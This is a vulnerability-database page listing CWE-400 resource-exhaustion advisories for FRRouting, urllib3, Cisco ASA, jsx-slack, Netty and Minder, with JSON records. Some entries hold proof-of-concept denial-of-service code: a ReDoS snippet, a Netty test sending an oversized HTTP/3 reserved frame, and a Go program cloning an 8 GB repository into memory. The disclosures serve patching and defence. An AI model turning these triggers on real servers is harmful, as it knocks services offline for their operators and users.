CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5486 vulnerabilities reference this CWE, most recent first.
GHSA-HMPG-CHWG-JVG8
Vulnerability from github – Published: 2026-05-04 18:30 – Updated: 2026-06-30 03:36An integer underflow in FRRouting (FRR) stable/10.0 to stable/10.6 allows attackers to cause a Denial of Service (DoS) via supplying a crafted BGP UPDATE message.
{
"affected": [],
"aliases": [
"CVE-2026-37459"
],
"database_specific": {
"cwe_ids": [
"CWE-191",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-04T18:16:28Z",
"severity": "HIGH"
},
"details": "An integer underflow in FRRouting (FRR) stable/10.0 to stable/10.6 allows attackers to cause a Denial of Service (DoS) via supplying a crafted BGP UPDATE message.",
"id": "GHSA-hmpg-chwg-jvg8",
"modified": "2026-06-30T03:36:30Z",
"published": "2026-05-04T18:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-37459"
},
{
"type": "WEB",
"url": "https://github.com/FRRouting/frr/commit/693a2e02687cdc9d16501275e05136edea9650d9"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24347"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:24370"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-37459"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466513"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-37459.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HMV2-79Q8-FV6G
Vulnerability from github – Published: 2021-04-30 17:31 – Updated: 2024-11-18 22:23The _encode_invalid_chars function in util/url.py in the urllib3 library 1.25.2 through 1.25.7 for Python allows a denial of service (CPU consumption) because of an inefficient algorithm. The percent_encodings array contains all matches of percent encodings. It is not deduplicated. For a URL of length N, the size of percent_encodings may be up to O(N). The next step (normalize existing percent-encoded bytes) also takes up to O(N) for each step, so the total time is O(N^2). If percent_encodings were deduplicated, the time to compute _encode_invalid_chars would be O(kN), where k is at most 484 ((10+6*2)^2).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.25.7"
},
"package": {
"ecosystem": "PyPI",
"name": "urllib3"
},
"ranges": [
{
"events": [
{
"introduced": "1.25.2"
},
{
"fixed": "1.25.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7212"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-22T22:04:31Z",
"nvd_published_at": "2020-03-06T20:15:00Z",
"severity": "HIGH"
},
"details": "The _encode_invalid_chars function in util/url.py in the urllib3 library 1.25.2 through 1.25.7 for Python allows a denial of service (CPU consumption) because of an inefficient algorithm. The percent_encodings array contains all matches of percent encodings. It is not deduplicated. For a URL of length N, the size of percent_encodings may be up to O(N). The next step (normalize existing percent-encoded bytes) also takes up to O(N) for each step, so the total time is O(N^2). If percent_encodings were deduplicated, the time to compute _encode_invalid_chars would be O(kN), where k is at most 484 ((10+6*2)^2).",
"id": "GHSA-hmv2-79q8-fv6g",
"modified": "2024-11-18T22:23:05Z",
"published": "2021-04-30T17:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7212"
},
{
"type": "WEB",
"url": "https://github.com/urllib3/urllib3/commit/a74c9cfbaed9f811e7563cfc3dce894928e0221a"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-hmv2-79q8-fv6g"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2020-149.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/urllib3/urllib3"
},
{
"type": "WEB",
"url": "https://github.com/urllib3/urllib3/blob/master/CHANGES.rst"
},
{
"type": "WEB",
"url": "https://pypi.org/project/urllib3/1.25.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Uncontrolled Resource Consumption in urllib3"
}
GHSA-HMV9-9GM3-C2VC
Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2022-05-13 01:17A vulnerability in the cryptographic hardware accelerator driver of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a temporary denial of service (DoS) condition. The vulnerability exists because the affected devices have a limited amount of Direct Memory Access (DMA) memory and the affected software improperly handles resources in low-memory conditions. An attacker could exploit this vulnerability by sending a sustained, high rate of malicious traffic to an affected device to exhaust memory on the device. A successful exploit could allow the attacker to exhaust DMA memory on the affected device, which could cause the device to reload and result in a temporary DoS condition.
{
"affected": [],
"aliases": [
"CVE-2018-15383"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-05T14:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the cryptographic hardware accelerator driver of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a temporary denial of service (DoS) condition. The vulnerability exists because the affected devices have a limited amount of Direct Memory Access (DMA) memory and the affected software improperly handles resources in low-memory conditions. An attacker could exploit this vulnerability by sending a sustained, high rate of malicious traffic to an affected device to exhaust memory on the device. A successful exploit could allow the attacker to exhaust DMA memory on the affected device, which could cause the device to reload and result in a temporary DoS condition.",
"id": "GHSA-hmv9-9gm3-c2vc",
"modified": "2022-05-13T01:17:46Z",
"published": "2022-05-13T01:17:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15383"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-asa-dma-dos"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041787"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HP68-XHVJ-X6J6
Vulnerability from github – Published: 2022-01-06 18:34 – Updated: 2022-08-11 18:43We found the patch for CVE-2021-43838 in jsx-slack v4.5.1 is insufficient to save from Regular Expression Denial of Service (ReDoS) attack.
This vulnerability affects to jsx-slack v4.5.1 and earlier versions.
Impact
If attacker can put a lot of JSX elements into <blockquote> tag with including multibyte characters, an internal regular expression for escaping characters may consume an excessive amount of computing resources.
/** @jsxImportSource jsx-slack */
import { Section } from 'jsx-slack'
console.log(
<Section>
<blockquote>
{[...Array(40)].map(() => (
<p>亜</p>
))}
</blockquote>
</Section>
)
v4.5.1 has released by passing the test against ASCII characters but missed the case of multibyte characters. https://github.com/yhatt/jsx-slack/security/advisories/GHSA-55xv-f85c-248q
Patches
jsx-slack v4.5.2 has updated regular expressions for escaping blockquote characters to prevent catastrophic backtracking. It is also including an updated test case to confirm rendering multiple tags in <blockquote> with multibyte characters.
References
- https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc
Credits
Thanks to @hieki for finding out this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jsx-slack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-43843"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-04T20:19:23Z",
"nvd_published_at": "2021-12-20T22:15:00Z",
"severity": "MODERATE"
},
"details": "We found the patch for CVE-2021-43838 in jsx-slack v4.5.1 is insufficient to save from Regular Expression Denial of Service (ReDoS) attack.\n\nThis vulnerability affects to jsx-slack v4.5.1 and earlier versions.\n\n### Impact\n\nIf attacker can put a lot of JSX elements into `\u003cblockquote\u003e` tag _with including multibyte characters_, an internal regular expression for escaping characters may consume an excessive amount of computing resources.\n\n```javascript\n/** @jsxImportSource jsx-slack */\nimport { Section } from \u0027jsx-slack\u0027\n\nconsole.log(\n \u003cSection\u003e\n \u003cblockquote\u003e\n {[...Array(40)].map(() =\u003e (\n \u003cp\u003e\u4e9c\u003c/p\u003e\n ))}\n \u003c/blockquote\u003e\n \u003c/Section\u003e\n)\n```\n\nv4.5.1 has released by passing the test against ASCII characters but missed the case of multibyte characters.\nhttps://github.com/yhatt/jsx-slack/security/advisories/GHSA-55xv-f85c-248q\n\n### Patches\n\njsx-slack v4.5.2 has updated regular expressions for escaping blockquote characters to prevent catastrophic backtracking. It is also including an updated test case to confirm rendering multiple tags in `\u003cblockquote\u003e` with multibyte characters.\n\n### References\n\n- https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc\n\n### Credits\n\nThanks to @hieki for finding out this vulnerability.",
"id": "GHSA-hp68-xhvj-x6j6",
"modified": "2022-08-11T18:43:28Z",
"published": "2022-01-06T18:34:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yhatt/jsx-slack/security/advisories/GHSA-55xv-f85c-248q"
},
{
"type": "WEB",
"url": "https://github.com/yhatt/jsx-slack/security/advisories/GHSA-hp68-xhvj-x6j6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43843"
},
{
"type": "WEB",
"url": "https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc"
},
{
"type": "WEB",
"url": "https://github.com/yhatt/jsx-slack/releases/tag/v4.5.2"
},
{
"type": "WEB",
"url": "https://github.com/yhatt/jsx-slack/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "jsx-slack insufficient patch for CVE-2021-43838 ReDoS"
}
GHSA-HPCC-26XQ-25FV
Vulnerability from github – Published: 2026-07-22 21:42 – Updated: 2026-07-22 21:42Summary
Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.
Details
io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:
// Handling reserved frame types
// https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8
if (in.readableBytes() < payLoadLength) {
return 0;
}
The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.
This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.
PoC
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
cause.printStackTrace();
ctx.close();
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
// Write reserved frame type (64)
header.writeByte(0x40);
header.writeByte(0x40);
// Write payload length (Integer.MAX_VALUE)
header.writeByte(0xC0);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x7F);
header.writeByte(0xFF);
header.writeByte(0xFF);
header.writeByte(0xFF);
rawStream.write(header);
// Write the maximum allowed payload
int payloadSize = 1_000_000;
ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);
rawStream.writeAndFlush(payload).sync();
assertTrue(quicChannel.isActive());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}
Impact
Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56816"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:42:42Z",
"nvd_published_at": "2026-07-21T22:17:14Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty\u0027s Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.\n\n### Details\n`io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows:\n\n```java\n // Handling reserved frame types\n // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8\n if (in.readableBytes() \u003c payLoadLength) {\n return 0;\n }\n```\n\nThe `payLoadLength` is read directly from the wire and trusted implicitly. Since `payLoadLength` can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.\n\nThis allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.\n\n### PoC\n\n```java\n @Test\n public void test() throws Exception {\n EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n try {\n X509Bundle cert = new CertificateBuilder()\n .subject(\"cn=localhost\")\n .setIsCertificateAuthority(true)\n .buildSelfSigned();\n\n QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n .sslContext(serverContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10_000_000)\n .initialMaxStreamDataBidirectionalLocal(1_000_000)\n .initialMaxStreamDataBidirectionalRemote(1_000_000)\n .initialMaxStreamsBidirectional(100)\n .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n @Override\n protected void initChannel(QuicChannel ch) {\n ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n ch.pipeline().addLast(new Http3ServerConnectionHandler(\n new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n cause.printStackTrace();\n ctx.close();\n }\n }));\n }\n })\n .build();\n\n Channel server = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(serverCodec)\n .bind(\"127.0.0.1\", 0)\n .sync()\n .channel();\n\n QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n .trustManager(InsecureTrustManagerFactory.INSTANCE)\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n .sslContext(clientContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10_000_000)\n .initialMaxStreamDataBidirectionalLocal(1_000_000)\n .build();\n\n Channel client = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(clientCodec)\n .bind(0)\n .sync()\n .channel();\n\n QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n .handler(new Http3ClientConnectionHandler())\n .remoteAddress(server.localAddress())\n .localAddress(client.localAddress())\n .connect()\n .get();\n\n QuicStreamChannel rawStream =\n quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n ByteBuf header = Unpooled.buffer();\n\n // Write reserved frame type (64)\n header.writeByte(0x40);\n header.writeByte(0x40);\n\n // Write payload length (Integer.MAX_VALUE)\n header.writeByte(0xC0);\n header.writeByte(0x00);\n header.writeByte(0x00);\n header.writeByte(0x00);\n header.writeByte(0x7F);\n header.writeByte(0xFF);\n header.writeByte(0xFF);\n header.writeByte(0xFF);\n\n rawStream.write(header);\n\n // Write the maximum allowed payload\n int payloadSize = 1_000_000;\n ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);\n rawStream.writeAndFlush(payload).sync();\n\n assertTrue(quicChannel.isActive());\n\n quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n server.close().sync();\n client.close().sync();\n } finally {\n group.shutdownGracefully();\n }\n }\n```\n\n### Impact\nDenial of Service due to gradual memory exhaustion. Any application using Netty\u0027s HTTP/3 codec is impacted.",
"id": "GHSA-hpcc-26xq-25fv",
"modified": "2026-07-22T21:42:43Z",
"published": "2026-07-22T21:42:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56816"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types"
}
GHSA-HPCG-XJQ5-G666
Vulnerability from github – Published: 2024-06-18 16:34 – Updated: 2024-06-18 19:27Minder's Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the github.com/go-git/go-git/v5 library on these lines:
https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89
The Git provider does the following on these lines:
First, it sets the CloneOptions, specifying the url, the depth etc:
https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62
It then validates the options:
https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L66-L68
It then sets up an in-memory filesystem, to which it clones:
https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L70-L71
Finally, it clones the repository:
https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L77
This (g *Git) Clone() method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:
- Users can control the Git URL which Minder clones.
- Minder does not enforce a size limit to the repository.
- Minder clones the entire repository into memory.
PoC
Here, we share a PoC of how the logic of (g *Git) Clone() behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.
We believe the below PoC is a correct representation because:
- We have replicated the important and impactful parts of
(g *Git) Clone() - We run this in multiple goroutines which Minder does here: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L128
- Minders timeout is set to 5 minutes: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L114. With a reasonable connection, Minder can download many GBs in that period.
In our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.
First, create a local Git repository:
cd /tmp
mkdir upstream-repo
cd upstream-repo
git init --bare
cd /tmp
git clone /tmp/upstream-repo ./upstream-repo-clone
cd ./upstream-repo-clone
# Add large file:
fallocate -l 8G large-file
git add .
git commit -m "add large file"
git push
cd /tmp
Create and run the following script in /tmp/dos-poc/main.go:
package main
import (
"context"
"fmt"
"github.com/go-git/go-billy/v5/memfs"
"github.com/go-git/go-git/v5"
"github.com/go-git/go-git/v5/storage/memory"
"runtime"
"sync"
)
func main() {
var (
wg sync.WaitGroup
)
for i := 0; i < 2; i++ {
fmt.Println("Starting one...")
wg.Add(1)
go func() {
defer wg.Done()
opts := &git.CloneOptions{
URL: "/tmp/upstream-repo",
SingleBranch: true,
Depth: 1,
Tags: git.NoTags,
}
storer := memory.NewStorage()
fs := memfs.New()
git.CloneContext(context.Background(), storer, fs, opts)
}()
}
fmt.Println("Finished")
PrintMemUsage()
wg.Wait()
}
func PrintMemUsage() {
var m runtime.MemStats
runtime.ReadMemStats(&m)
// For info on each, see: https://golang.org/pkg/runtime/#MemStats
fmt.Printf("Alloc = %v MiB", bToMb(m.Alloc))
fmt.Printf("\tTotalAlloc = %v MiB", bToMb(m.TotalAlloc))
fmt.Printf("\tSys = %v MiB", bToMb(m.Sys))
fmt.Printf("\tNumGC = %v\n", m.NumGC)
}
func bToMb(b uint64) uint64 {
return b / 1024 / 1024
}
On my local machine, this Go program is killed before it prints "Finished" in the terminal. Observing the memory by way of top, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/stacklok/minder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.52"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37904"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-18T16:34:24Z",
"nvd_published_at": "2024-06-18T17:15:52Z",
"severity": "MODERATE"
},
"details": "Minder\u0027s Git provider is vulnerable to a denial of service from a maliciously configured GitHub repository. The Git provider clones users repositories using the `github.com/go-git/go-git/v5` library on these lines:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89\n\nThe Git provider does the following on these lines:\n\nFirst, it sets the `CloneOptions`, specifying the url, the depth etc:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62\n\nIt then validates the options: \n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L66-L68\n\nIt then sets up an in-memory filesystem, to which it clones:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L70-L71\n\nFinally, it clones the repository:\n\nhttps://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L77\n\nThis `(g *Git) Clone()` method is vulnerable to a DoS attack: A Minder user can instruct Minder to clone a large repository which will exhaust memory and crash the Minder server. The root cause of this vulnerability is a combination of the following conditions:\n\n1. Users can control the Git URL which Minder clones.\n2. Minder does not enforce a size limit to the repository.\n3. Minder clones the entire repository into memory.\n\n## PoC\nHere, we share a PoC of how the logic of `(g *Git) Clone()` behaves isolated from Minder. To get a true assessment of whether this is 100% identical to its behavior in the context of Minder instead of an isolated PoC, this should be tested out by creating a large repository and instructing Minder to clone it. However, even in that case, it might not be possible to deterministically trigger a DoS because of noise from network calls.\n\nWe believe the below PoC is a correct representation because:\n\n1. We have replicated the important and impactful parts of `(g *Git) Clone()`\n2. We run this in multiple goroutines which Minder does here: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L128\n3. Minders timeout is set to 5 minutes: https://github.com/stacklok/minder/blob/3afa50ef2e06269ed619d390d266cf1988c2068b/internal/engine/executor.go#L114. With a reasonable connection, Minder can download many GBs in that period.\n\nIn our PoC, we demonstrate that under these two conditions, a large repository can perform a SigKill of the Go process which in Minders case is the Minder server.\n\nFirst, create a local Git repository:\n```\ncd /tmp\nmkdir upstream-repo\ncd upstream-repo\ngit init --bare\ncd /tmp\ngit clone /tmp/upstream-repo ./upstream-repo-clone\ncd ./upstream-repo-clone\n# Add large file:\nfallocate -l 8G large-file\ngit add .\ngit commit -m \"add large file\"\ngit push\ncd /tmp\n```\n\nCreate and run the following script in `/tmp/dos-poc/main.go`:\n\n```go\npackage main\n\nimport (\n \"context\"\n \"fmt\"\n \"github.com/go-git/go-billy/v5/memfs\"\n \"github.com/go-git/go-git/v5\"\n \"github.com/go-git/go-git/v5/storage/memory\"\n \"runtime\"\n \"sync\"\n)\n\nfunc main() {\n var (\n wg sync.WaitGroup\n )\n\n for i := 0; i \u003c 2; i++ {\n fmt.Println(\"Starting one...\")\n wg.Add(1)\n go func() {\n defer wg.Done()\n opts := \u0026git.CloneOptions{\n URL: \"/tmp/upstream-repo\",\n SingleBranch: true,\n Depth: 1,\n Tags: git.NoTags,\n }\n\n storer := memory.NewStorage()\n fs := memfs.New()\n git.CloneContext(context.Background(), storer, fs, opts)\n }()\n }\n fmt.Println(\"Finished\")\n PrintMemUsage()\n wg.Wait()\n\n}\n\nfunc PrintMemUsage() {\n var m runtime.MemStats\n runtime.ReadMemStats(\u0026m)\n // For info on each, see: https://golang.org/pkg/runtime/#MemStats\n fmt.Printf(\"Alloc = %v MiB\", bToMb(m.Alloc))\n fmt.Printf(\"\\tTotalAlloc = %v MiB\", bToMb(m.TotalAlloc))\n fmt.Printf(\"\\tSys = %v MiB\", bToMb(m.Sys))\n fmt.Printf(\"\\tNumGC = %v\\n\", m.NumGC)\n}\n\nfunc bToMb(b uint64) uint64 {\n return b / 1024 / 1024\n}\n```\n\nOn my local machine, this Go program is killed before it prints \"Finished\" in the terminal. Observing the memory by way of `top`, we can see that the memory climbs steadily until the program crashes around 93% memory consumption.",
"id": "GHSA-hpcg-xjq5-g666",
"modified": "2024-06-18T19:27:35Z",
"published": "2024-06-18T16:34:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/stacklok/minder/security/advisories/GHSA-hpcg-xjq5-g666"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37904"
},
{
"type": "WEB",
"url": "https://github.com/stacklok/minder/commit/35bab8f9a6025eea9e6e3cef6bd80707ac03d2a9"
},
{
"type": "WEB",
"url": "https://github.com/stacklok/minder/commit/7979b43"
},
{
"type": "PACKAGE",
"url": "https://github.com/stacklok/minder"
},
{
"type": "WEB",
"url": "https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L55-L89"
},
{
"type": "WEB",
"url": "https://github.com/stacklok/minder/blob/85985445c8ac3e51f03372e99c7b2f08a6d274aa/internal/providers/git/git.go#L56-L62"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Minder affected by denial of service from maliciously configured Git repository"
}
